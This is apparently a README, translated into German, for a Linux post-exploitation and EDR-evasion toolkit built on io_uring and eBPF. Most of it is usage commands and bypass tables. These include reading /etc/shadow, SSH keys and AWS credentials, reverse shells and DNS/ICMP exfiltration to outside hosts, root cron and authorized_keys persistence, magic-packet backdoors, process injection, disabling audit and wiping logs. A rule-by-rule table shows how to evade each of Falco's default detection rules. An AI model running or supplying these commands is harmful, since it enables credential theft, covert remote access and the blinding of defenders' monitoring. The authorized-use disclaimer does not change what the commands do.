matheuzsecurity/furtexPost-Exploitation- und Evasions-Forschungstoolkit für Linux.
Post-Exploitation- und Evasion-Forschungstoolkit für Linux, basierend auf io_uring und eBPF. Kein liburing, keine Frameworks, durchgängig raw syscalls.
Weitere Tools folgen bald. PRs sind willkommen. 🇧🇷
Tritt Rootkit Researchers bei
Nur für autorisierte Forschung und Red-Team-Einsätze. Führen Sie dies nicht auf Systemen aus, die Ihnen nicht gehören.
```
Furtex/
├── io_uring/ raw io_uring ops: file, net, injection, exfil (13 tools)
├── bpf/ BPF map and program tooling (15 tools)
├── ebpf/ BPF-side programs and loaders (9 programs + 2 runners)
├── edrs/ EDR evasion and post-exploitation (75 tools)
└── techniques/ Falco-specific bypass, all 25 default rules (13 tools)
## Requirements
**Toolchain**
| tool | benötigt für |
|---|---|
| `gcc` | alle Userspace-Binärdateien |
| `clang` | `ebpf/*.bpf.c` BPF-seitige Programme |
| `make` | Build-System |
**Header und Bibliotheken**
| package | benötigt für |
|---|---|
| `linux-headers-$(uname -r)` | `<linux/bpf.h>`, `<linux/io_uring.h>` und zugehörige Kernel-Header |
| `libbpf-dev` | `<bpf/bpf_helpers.h>` und verwandte, die in `ebpf/`-Programmen verwendet werden |
| `bpftool` | generiere `vmlinux.h` mittels `make vmlinux` innerhalb von `ebpf/` |
Auf Debian/Kali/Ubuntu:```sh
sudo apt install gcc clang make linux-headers-$(uname -r) libbpf-dev bpftool
Kernel-Versionen
Capabilities
BTF muss im Kernel aktiviert sein (CONFIG_DEBUG_INFO_BTF=y), um make vmlinux für ebpf/-Programme auszuführen.
Bei Distributionen mit älteren libc-dev-Headern (Ubuntu 22.04 usw.) müssen Sie möglicherweise #ifndef IORING_OP_SOCKET / #define IORING_OP_SOCKET 45 einfügen. Bereits in diesem Repository behandelt.
edrs/ hat sein eigenes Unter-Makefile mit ~75 Binärdateien, aufgeteilt nach Berechtigungen:```
cd edrs && make priv # root / CAP_* required
cd edrs && make unpriv # no privileges needed
Siehe [PRIVILEGES.md](https://github.com/matheuzsecurity/furtex/blob/HEAD/PRIVILEGES.md) für die vollständige Aufschlüsselung.
## io_uring Bypass-Abdeckung
io_uring SQEs durchlaufen den Kernel-Workqueue. `io_uring_enter(2)` ruft nie `sys_call_table` auf, feuert nie `sys_enter_*`-Tracepoints und trifft nie Livepatches auf `native_sys_call`. Das allein eliminiert eine große Klasse von EDR-Hooks, ohne etwas zu berühren.
Was io_uring eigenständig umgeht:
| hook point | Hinweis |
|---|---|
| `sys_call_table` pointer replacement | io_uring geht nie durch die Syscall-Tabelle |
| livepatch on `native_sys_call` / `compat_sys_call` | selber Grund |
Was io_uring NICHT eigenständig umgeht (benötigt ein aktives Werkzeug):
| hook point | tool | what the tool does |
|---|---|---|
| kprobes on `vfs_read`, `security_file_open`, etc. | `ftrace_enum` | entfernt die kprobe-Hooks |
| BPF LSM / KRSI | `bpf_link_detach` | trennt den BPF-Link |
| Linux audit | `audit_kill` | deaktiviert auditd über NETLINK_AUDIT |
| LD_PRELOAD / PLT-GOT patches | `plt_unhook` | entfernt die Userland-Hooks |
| netfilter OUTPUT / conntrack | `af_packet_shell` | verwendet AF_PACKET auf Schicht 2, überspringt netfilter |
| `inet_stream_connect` hooks | `udp_shell` | verwendet UDP, ruft nie den TCP-Connect-Pfad auf |
## io_uring/
`iouring_utils.h` handhabt die Ring-Einrichtung ohne liburing.
| binary | what it does |
|---|---|
| `file_read` | OPENAT+READ+CLOSE-Kette über io_uring, kein sys_enter_read-Ereignis |
| `file_write` | OPENAT+WRITE+CLOSE-Kette |
| `file_append` | identisch zu file_write, jedoch O_APPEND, offset -1 |
| `net_connect` | SOCKET+CONNECT+SEND+RECV in einem Ring |
| `net_reverse_shell` | Reverse Shell über io_uring CONNECT |
| `multifile_read` | bis zu 64 Dateien in einem SQE-Batch |
| `memfd_exec` | streamt ELF über stdin in memfd, execve via /proc/self/fd |
| `proc_inject` | JIT-Injection via /proc/PID/mem; ptrace-Injection (--ptrace-Flag) |
| `pipe_splice` | SPLICE Kernel-zu-Kernel, Userland-Hooks sehen nie Bytes |
| `inotify_bypass_watch` | io_uring READ löst kein IN_ACCESS/IN_OPEN aus |
| `dns_exfil` | hex-kodiert Daten als DNS-Abfragelabels über io_uring SENDMSG |
| `af_packet_send` | rohes Ethernet über AF_PACKET (IORING_OP_SOCKET, umgeht inet-Pfad) |
| `xdp_socket_send` | roher Frame über AF_XDP + UMEM-Ring, umgeht netfilter vollständig |```bash
./io_uring/file_read /etc/shadow
./io_uring/file_write /etc/cron.d/x "* * * * * root /tmp/sh"
./io_uring/file_append /root/.ssh/authorized_keys "ssh-ed25519 AAAA..."
./io_uring/net_connect 10.0.0.1 4444 "ping"
./io_uring/net_reverse_shell 192.168.1.1 4444
./io_uring/multifile_read /etc/passwd /etc/shadow /root/.ssh/id_rsa ~/.aws/credentials
cat payload | ./io_uring/memfd_exec [args...]
./io_uring/pipe_splice /etc/shadow /tmp/out
./io_uring/inotify_bypass_watch /var/log/auth.log
./io_uring/dns_exfil 1.2.3.4 exfil.example.com /etc/shadow
sudo ./io_uring/proc_inject
sudo ./io_uring/proc_inject <pid>
sudo ./io_uring/proc_inject <pid> <shellcode_hex>
sudo ./io_uring/proc_inject --ptrace <pid> <shellcode_hex>
sudo ./io_uring/af_packet_send eth0 08:00:27:aa:bb:cc ff:ff:ff:ff:ff:ff "payload"
sudo ./io_uring/xdp_socket_send eth0 <hex-frame>
Die meisten Werkzeuge benötigen CAP_BPF. env_exfil funktioniert ohne Privilegien. icmp_trigger benötigt CAP_NET_RAW anstelle von CAP_BPF.
sudo ./bpf/map_poison <isys_id> <eta_id> -- ./io_uring/file_read /etc/shadow sudo ./bpf/map_poison <isys_id> <eta_id> -- ./io_uring/net_reverse_shell 10.0.0.1 4444
## ebpf/
Erfordert clang + libbpf + vmlinux.h. Führen Sie `make vmlinux` in `ebpf/` aus, um aus dem BTF des laufenden Kernels zu generieren.
| Datei | Funktion |
|---|---|
| `exec.bpf.c` | Tracepoint bei sys_enter_execve |
| `fentry_open.bpf.c` | Tracepoint bei sys_enter_openat |
| `creds.bpf.c` | überwacht openat+read auf Credential-Pfaden |
| `keylog.bpf.c` | Input-Event-Tracepoint, Rohabgriff von Keycodes |
| `net.bpf.c` | sys_enter_connect-Protokollierung |
| `net_hide.bpf.c` | versteckt Ports aus /proc/net/tcp und /proc/net/udp |
| `proc_hide.bpf.c` | versteckt PIDs aus getdents64-Ausgabe |
| `tty_sniff.bpf.c` | erfasst Schreib- und Lesevorgänge auf stdin/stdout/stderr |
| `skf_c2_runner.c` | ICMP C2 über klassischen BPF-Socket-Filter |
| `xdp_backdoor.bpf.c` + `xdp_handler.c` | XDP-Auslöser bei magischem UDP-Paket |```bash
sudo ./bpf/map_write <hidden_ports_id> 5c11 01
sudo ./bpf/map_write <hidden_pids_id> d2040000 01
sudo ./ebpf/skf_c2_runner
ping -p 4d41474900$(printf 'id' | xxd -p | tr -d '\n') -c1 <target>
sudo ./ebpf/xdp_handler <trigger_map_id> <handler_pid_map_id>
echo -n 'MAGICid' | nc -u -q1 <target> 31337
sudo ./edrs/bpf_prog_recon --all sudo ./edrs/ftrace_enum list sudo ./edrs/module_recon list sudo ./edrs/perf_bpf_kill scan sudo ./edrs/sysctl_blind show sudo ./edrs/tetragon_blind scan
sudo ./edrs/audit_kill disable sudo ./edrs/dmesg_wipe wipe sudo ./edrs/bpf_detach_all sudo ./edrs/ftrace_enum clear-kprobes sudo ./edrs/netfilter_flush sudo ./edrs/lkm_unload unload
./edrs/livepatch_bypass --read /etc/shadow ./edrs/uring_stealth cat /etc/shadow ./edrs/mmap_read /etc/shadow ./edrs/splice_read /etc/shadow ./edrs/plt_unhook read /etc/shadow ./edrs/openat2_bypass copy /etc/shadow /tmp/out
cat payload | ./edrs/memfd_userexec [args...] cat payload | ./edrs/fanotify_bypass --memfd-exec ./edrs/anon_shellcode <shellcode_hex> ./edrs/fexecve_drop - < payload
sudo ./edrs/proc_mem_inject --inject <shellcode_hex> ./edrs/proc_vm_inject <shellcode_hex> ./edrs/ptrace_inject_so inject /tmp/payload.so
./edrs/userland_persist --lhost 10.0.0.1 --lport 4444 ./edrs/userland_persist --sshkey "ssh-ed25519 AAAA..." sudo ./edrs/livepatch_bypass --persist 192.168.1.1 4444
./edrs/shared_mem_c2 --agent & ./edrs/shared_mem_c2 --ctrl --cmd "id" ./edrs/abstract_sock_c2 server & ./edrs/abstract_sock_c2 client ./edrs/udp_shell 192.168.1.1 4444 ./edrs/tls_shell 192.168.1.1 443
./edrs/dns_exfil_raw str exfil.example.com "data" ./edrs/pipe_exfil --send /etc/shadow 192.168.1.1 9999 cat data | sudo ./edrs/icmp_tunnel 192.168.1.1 - SSH_AUTH_SOCK=/run/user/1000/ssh-agent.sock ./edrs/ssh_agent_hijack
./edrs/self_delete delete ./edrs/time_stomp clone /etc/passwd /tmp/target sudo ./edrs/log_wipe hist /home/kali
./edrs/event_flood 500 4 -- ./edrs/proc_mem_inject --inject ./edrs/ringbuf_flood --flood --threads 8 --sec 5
./edrs/ns_exec user bash ./edrs/ns_exec full-hide bash ./edrs/clone_netns exec /bin/sh
./edrs/pidfd_steal scan ./edrs/pidfd_steal steal ./edrs/fd_steal_read <path_filter> ./edrs/fd_steal_read <path_filter>
## techniques/ (Falco-Bypass)
Zielt auf Falcos Standard-Regelsatz (`modern_ebpf`-Treiber, 25 Regeln). Führen Sie zuerst `edrs/edr_recon` aus.
Bypass-Achse A: verhindern, dass das Ereignis Falco erreicht (io_uring überspringt `sys_enter_*`, ringbuf-drain unterdrückt still Ereignisse).
Bypass-Achse B: Ereignis erreicht Falco, aber die Regelbedingung passt nicht (proc.name-Spoofing, Path-Pivot, alternative Flags).
| tool | Achse | Falco-Regeln |
|---|:---:|---|
| `uring_ops` | A | 1 2 3 7 9 10 12 13 14 15 18 21 |
| `ringbuf_overflow` | A | alle |
| `rule_evade` | B | 3 5 6 17 |
| `kmod_unload` | A | alle |
| `proc_ghost` | A/B | 22 23 25 |
| `exe_from_memfd_bypass` | B | 25 |
| `event_storm` | A | alle |
| `proc_masquerade` | B | 3 4 5 8 17 |
| `ns_pivot` | B | 6 14 |
| `cgroup_escape` | A | 18 |
| `bypass_file_rules` | B | 1 2 3 9 10 11 12 13 21 |
| `bypass_proc_rules` | B | 4 6 8 15 17 18 19 20 22 23 24 |
| `per_rule_bypass` | A/B | alle 25 |```bash
./techniques/uring_ops cat /etc/shadow
./techniques/uring_ops creds
./techniques/uring_ops write /etc/cron.d/x "* * * * * root /tmp/sh"
./techniques/uring_ops shell 10.0.0.1 4444
./techniques/uring_ops chain /etc/shadow 10.0.0.1 9999
sudo ./techniques/ringbuf_overflow find
sudo ./techniques/ringbuf_overflow drain <map_id>
./techniques/ringbuf_overflow flood 16 10
./techniques/rule_evade name-spoof
./techniques/rule_evade path-pivot
./techniques/rule_evade all
sudo ./techniques/kmod_unload list
sudo ./techniques/kmod_unload unload
./techniques/proc_ghost ghost-elf /bin/ls
./techniques/proc_ghost ghost-sc <hex>
./techniques/exe_from_memfd_bypass info
./techniques/exe_from_memfd_bypass sc <hex>
./techniques/exe_from_memfd_bypass shm-exec <elf>
./techniques/exe_from_memfd_bypass dlopen <so>
./techniques/event_storm mixed-storm 16 10
./techniques/event_storm snipe "cat /etc/shadow"
./techniques/proc_masquerade setname sshd <cmd...>
./techniques/proc_masquerade fakeparent sshd <cmd...>
./techniques/proc_masquerade clone-parent sshd <cmd...>
./techniques/ns_pivot net-new
./techniques/ns_pivot userns-shell
./techniques/cgroup_escape check
./techniques/cgroup_escape proof
./techniques/cgroup_escape shell 10.0.0.1 4444
./techniques/bypass_file_rules read-masked /etc/shadow
./techniques/bypass_file_rules log-clear /var/log/auth.log
./techniques/bypass_file_rules grep-bypass /home "PRIVATE"
./techniques/bypass_proc_rules reverse-shell 10.0.0.1 4444
./techniques/bypass_proc_rules anti-debug
./techniques/bypass_proc_rules proc-inject <pid> <addr> <hex>
./techniques/per_rule_bypass list
./techniques/per_rule_bypass sensitive-read /etc/shadow
./techniques/per_rule_bypass exec-proc /tmp/elf
./techniques/per_rule_bypass clear-log /var/log/auth.log
Eröffne einen Pull-Request. Einzweck-Tools, rohe Syscalls, keine neuen Abhängigkeiten.
Dieses Projekt ist ausschließlich für Sicherheitsforschung, autorisierte Penetrationstests, CTF-Wettbewerbe und die Entwicklung von Abwehrwerkzeugen gedacht. Alle hier gezeigten Techniken sind in öffentlicher Sicherheitsforschung und Kernel-Dokumentation dokumentiert.
Verwenden Sie dieses Toolkit nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben. Unautorisierte Nutzung kann gegen den Computer Fraud and Abuse Act (CFAA), die EU-Richtlinie über Angriffe auf Informationssysteme und entsprechende Gesetze in Ihrem Land verstoßen.
Die Autoren übernehmen keine Haftung für Missbrauch. Durch die Nutzung dieser Software stimmen Sie zu, dass Sie allein für die Einhaltung der geltenden Gesetze verantwortlich sind.
| Minimum | Was es freischaltet |
|---|
| 5.4 | io_uring-Basis (IORING_FEAT_SINGLE_MMAP, BPF-Map-Iteration) |
| 5.6 | IORING_OP_OPENAT, IORING_OP_STATX, pidfd_getfd (pidfd_steal) |
| 5.8 | CAP_BPF + CAP_PERFMON-Aufteilung (ersetzt CAP_SYS_ADMIN für BPF) |
| 5.9 | BPF_LINK_DETACH (bpf_link_detach) |
| 5.19 | IORING_OP_SOCKET (af_packet_send, dns_exfil, xdp_socket_send, bpf_kprobe_bypass) |
| Capability | Tools, die sie benötigen |
|---|
CAP_BPF (oder CAP_SYS_ADMIN vor 5.8) | alle bpf/-Tools, ebpf/-Lader |
CAP_PERFMON | ebpf/-Tracepoint- und Kprobe-Programme |
CAP_NET_RAW | icmp_tunnel, af_packet_shell, skf_c2_runner, icmp_trigger |
CAP_NET_ADMIN | xdp_socket_send, netfilter_flush |
CAP_AUDIT_CONTROL | audit_kill |
| Befehl | Erstellt |
|---|
make all | alles |
make uring | nur io_uring/ |
make bpf | bpf/-Userspace-Tools |
make ebpf | BPF-seitige Programme (benötigt clang + libbpf) |
make edrs | alle edrs/-Binärdateien |
make techniques | Falco-Umgehungstools |
make clean | alle Binärdateien entfernen |
| binary | Beschreibung |
|---|
map_recon | alle geladenen BPF-Maps auflisten |
map_dumper | Map-Inhalte nach ID ausgeben |
map_write | Map-Einträge nach ID aktualisieren |
map_poison | Falcos interesting_sys-Einträge um einen Payload herum auf Null setzen |
prog_recon | BPF-Programme auflisten: Typ, Name, Map-Anzahl |
pid_allowlist | PID in eine EDR-Allowlist-Map einfügen |
edr_fin | geladene BPF-Maps/-Programme anhand bekannter EDR-Heuristiken bewerten |
lsm_check | aktive BPF-LSM-Hooks erkennen und testen, ob Map-Schreibvorgänge blockiert sind |
bpf_persist | Maps und Programme auf bpffs pinnen/abrufen/lösen |
map_snapshot | Map-Inhalte in einer Binärdatei speichern und wiederherstellen |
env_exfil | /proc/*/environ nach Geheimnissen durchsuchen |
bpf_link_detach | BPF-Links aufzählen und trennen (entfernt LSM-Hooks) |
link_update | einen BPF-Link auf ein No-Op-Programm umleiten (Hook bleibt sichtbar, feuert nichts) |
map_freeze | eine BPF-Map schreibgeschützt einfrieren mittels BPF_MAP_FREEZE (Schreibvorgänge geben -EPERM zurück) |
icmp_trigger | ICMP-Magic-Packet-Hintertür; erzeugt eine Reverse-Shell über Socketpair-Relay; tarnt sich als kworker/u4:2 |
| sudo ./bpf/map_recon | |
| sudo ./bpf/map_dumper 42 --ascii | |
| sudo ./bpf/map_write <map_id> <key_hex> <val_hex> | |
| sudo ./bpf/prog_recon --maps --lsm-only | |
| sudo ./bpf/edr_fin | |
| sudo ./bpf/lsm_check <map_id> | |
| sudo ./bpf/pid_allowlist <map_id> [pid] | |
| sudo ./bpf/bpf_persist pin-map 42 /sys/fs/bpf/my_map | |
| sudo ./bpf/bpf_persist list /sys/fs/bpf | |
| sudo ./bpf/map_snapshot save <prog_id> snap.bin | |
| sudo ./bpf/map_snapshot restore snap.bin | |
| ./bpf/env_exfil --filter AWS | |
| sudo ./bpf/bpf_link_detach list --lsm-only | |
| sudo ./bpf/bpf_link_detach detach-lsm --dry-run | |
| sudo ./bpf/link_update <link_id> | |
| sudo ./bpf/map_freeze <map_id> | |
| sudo ./bpf/map_freeze --prog <name_substr> | |
| sudo ./bpf/icmp_trigger --daemon | |
| sudo ./bpf/icmp_trigger --send <c2_ip> <c2_port> |
| Binär | root | Technik |
|---|
edr_recon | ja | 12-Anbieter-EDR-Detektor: Prozesse, Artefakte, Module, BPF, kprobes |
bpf_prog_recon | ja | geladene BPF-Programme, Maps und kprobes aufzählen |
bpf_map_wipe | ja | BPF-Map-Einträge löschen |
bpf_detach_all | ja | alle BPF-Links trennen |
tetragon_blind | ja | Tetragon/Falco-Prozesse scannen, einfrieren, auftauen, töten oder blenden |
ftrace_enum | ja | kprobe/ftrace-Hooks aufzählen und löschen |
lkm_unload | ja | Kernelmodule entladen |
lkm_inline_detect | ja | Inline-Kernel-Hooks erkennen |
perf_bpf_kill | ja | Falco-perf-event-BPF-Programme aufzählen und töten |
module_recon | ja | Kernelmodule aufzählen |
cgroup_freeze | ja | Prozess über cgroup v2 einfrieren/auftauen |
oom_cage | ja | oom_score_adj für sich selbst oder Ziel setzen |
sysctl_blind | ja | sicherheitsrelevante Sysctl-Werte lesen/schreiben |
audit_kill | ja | Linux-Audit über NETLINK_AUDIT deaktivieren/drosseln |
inotify_exhaust | ja | alle inotify-Überwachungen verbrauchen |
netfilter_flush | ja | Netfilter-Ketten leeren |
dmesg_wipe | ja | Kernel-Ringpuffer löschen |
ld_so_preload | ja | /etc/ld.so.preload manipulieren |
proc_hide | ja | /proc/PID per Bind-Mount verstecken |
mount_over | ja | Bind-Mount über beliebige Pfade |
log_wipe | ja | Logdateien und Shell-Verlauf kürzen |
elf_infect | ja | PT_NOTE-zu-PT_LOAD-Parasiteninjektion |
proc_mem_inject | ja | pwrite auf /proc/PID/mem, ohne ptrace-Attach |
af_packet_shell | ja | rohe Ethernet-C2 unter Umgehung von netfilter OUTPUT |
icmp_tunnel | ja | Exfiltration über ICMP-Echo-Request-Nutzlast |
event_flood | ja | Ereignisflut um Nutzlast zur Sättigung des Monitors |
livepatch_bypass | ja | io_uring an Livepatch-Hooks am Syscall-Dispatcher vorbei |
livepatch_stack_blind | ja | Livepatch- + BPF-kprobe- + netfilter-Hook-Stack deaktivieren; Modulentladen durch Comm-Spoofing |
lsm_authlink_blind | ja | LSM-Authentifizierungs-Link-Flows deaktivieren, Auth-Agent einfrieren oder töten, Schreiben über Inode-Swap |
lsm_callback_bypass | ja | LSM-Callbacks umgehen über pidfd_getfd, process_vm_writev, perf+BPF-Attach, neue Netns |
bpf_fim_blind | ja | BPF-FIM-Sensor einfrieren, Ringbuffer-Map-Einträge löschen, Ringbuffer fluten |
syscall_dispatch_bypass | ja | io_uring-Datei/Netz-Operationen unter Umgehung von kprobes am Syscall-Dispatch und livepatch do_syscall_64 |
bpf_kprobe_bypass | ja | io_uring-Datei/Netz/Exec-Operationen unter Umgehung von _x64_sys*-kprobe-Zielen |
ptrace_inject_so | ja | .so in laufenden Prozess über ptrace + dlopen laden |
uring_stealth | nein | Datei/Netz-Operationen über io_uring, keine sys_enter_*-Ereignisse |
openat2_bypass | nein | alternative Syscalls (openat2, copy_file_range) |
ptrace_selfguard | nein | externes ptrace über Wächterprozess blockieren |
plt_unhook | nein | PLT-GOT-Hooks erkennen und über dlmopen umgehen |
fexecve_drop | nein | ELF in memfd, execve über /proc/self/fd |
memfd_loader | nein | .so über memfd laden, Konstruktor aufgerufen |
memfd_userexec | nein | ELF von stdin in memfd, execve über /proc/self/fd |
hollow_proc | nein | Process Hollowing mit Tarnnamen in ps |
argv_spoof | nein | comm umbenennen über prctl(PR_SET_NAME) und argv[0] überschreiben |
clone_netns | nein | unprivilegierte Netz-Namespace-Ausführung |
ns_exec | nein | User/PID/Mount-Namespaces trennen (unshare) |
splice_c2 | nein | TCP-C2 mit splice(2) zur Datenübertragung; send/recv-Hooks werden nie ausgelöst |
abstract_sock_c2 | nein | C2 über abstrakten Unix-Socket |
udp_shell | nein | UDP-Reverse-Shell, umgeht inet_stream_connect |
tls_shell | nein | Reverse-Shell hinter gefälschtem TLS ClientHello |
dns_exfil_raw | nein | Daten hex-kodiert als DNS-Abfragelabels |
pidfd_steal | nein | offene Dateideskriptoren von anderen Prozessen über pidfd_getfd stehlen |
vma_hide | nein | RWX-zu-PROT_NONE-Zyklus, MADV_DONTDUMP, VMA-Umbenennung |
coredump_block | nein | Core-Dumps über Filter/dumpable/rlimit blockieren |
seccomp_notify | nein | Syscalls über SECCOMP_USER_NOTIF abfangen |
ipc_covert | nein | C2 über POSIX-Message-Queue |
shared_mem_c2 | nein | C2 über POSIX-Shared-Memory, kein Netzwerkverkehr |
pipe_exfil | nein | splice(2)-Exfiltration, LD_PRELOAD-Hooks blind |
proc_fd_scan | nein | /proc/PID/fd-Symlinks auf sensible Pfade scannen |
proc_vm_inject | nein | process_vm_writev, kein /proc/PID/fd geöffnet |
self_delete | nein | eigene Binärdatei während der Ausführung von der Festplatte löschen |
time_stomp | nein | atime+mtime klonen/nullen/setzen |
userland_persist | nein | bashrc/crontab/autostart/authorized_keys |
env_scrape | nein | /proc/*/environ nach Geheimnissen und SSH-Sockets durchsuchen |
anon_shellcode | nein | Shellcode in MAP_ANONYMOUS, keine Datei, kein execve |
ld_preload_inject | nein | .so ablegen, über LD_PRELOAD injizieren |
ssh_agent_hijack | nein | Agent-Protokoll an erfassten Socket sprechen |
fanotify_bypass | nein | memfd/anon-mmap/devshm zur Vermeidung von fanotify-Markierungen |
ringbuf_flood | nein | BPF-Ringpuffer sättigen, um Ereignisse zu verwerfen |
log_evasion | nein | io_uring-Dateioperationen und Raw-Syscall-TCP-Shell, keine libc-Wrapper |
syscalltable_bypass | nein | io_uring an sys_call_table-Zeiger-Hooks vorbei |
uring_recon_unpriv | nein | Anmeldeinformationen, Schlüssel, Verbindungen über io_uring lesen |
fd_steal_read | nein | Dateideskriptoren über pidfd_getfd stehlen, ohne eigenes open() lesen |
mmap_read | nein | Dateien über mmap lesen, kein read()-Syscall |
scm_rights_exfil | nein | Dateideskriptor über SCM_RIGHTS übergeben, ohne eigenes open() lesen |
splice_read | nein | Lesen über splice(2), kein Userspace-Puffer |
| sudo ./edrs/edr_recon | ||
| sudo ./edrs/edr_recon procs arts mods | ||
| sudo ./edrs/edr_recon progs maps |
| Regel | Umgehung | Werkzeug |
|---|
| 1 Überwachtes Datei-Lesen bei Directory Traversal | io_uring OPENAT | uring_ops cat, per_rule_bypass dir-traversal |
| 3 Lesen vertraulicher Dateien (untrusted) | io_uring or prctl | uring_ops creds, bypass_file_rules read-masked |
| 4 Shell-Ausführung (untrusted) | python3/perl instead of sh | rule_evade unusual-shell |
| 6 Terminal-Shell im Container | setsid, proc.tty=0 | bypass_proc_rules shell-notty |
| 7 Kontakt zum K8S-API-Server | io_uring CONNECT | uring_ops shell, per_rule_bypass k8s-connect |
| 8 Netcat RCE | C binary, proc.name != nc/ncat | bypass_proc_rules reverse-shell |
| 9 Suche nach privaten Schlüsseln | open+read in C, no grep/find | bypass_file_rules grep-bypass |
| 10 Löschen von Protokollaktivitäten | ftruncate without O_TRUNC | bypass_file_rules log-clear |
| 11 Entfernen von Massendaten | write loop, no shred/mkfs | bypass_file_rules wipe |
| 15 Umleitung von STDOUT/STDIN ins Netzwerk | fcntl F_DUPFD instead of dup2 | bypass_proc_rules reverse-shell |
| 18 Erkennung von release_agent-Escape | io_uring OPENAT+WRITE to release_agent | cgroup_escape proof/shell, uring_ops write |
| 19 PTRACE an Prozess angehängt | /proc/PID/mem or process_vm_writev | bypass_proc_rules proc-inject |
| 20 PTRACE Anti-Debug-Versuch | TracerPid check via /proc/self/status | bypass_proc_rules anti-debug |
| 22 Ausführung von /dev/shm | exec from /run/user/uid/ instead | bypass_proc_rules run-safe |
| 25 Dateilose Ausführung via memfd_create | shellcode via mmap, no execve | exe_from_memfd_bypass sc, proc_ghost ghost-sc |
| alle | drain ringbuf or remove scap.ko | ringbuf_overflow, kmod_unload |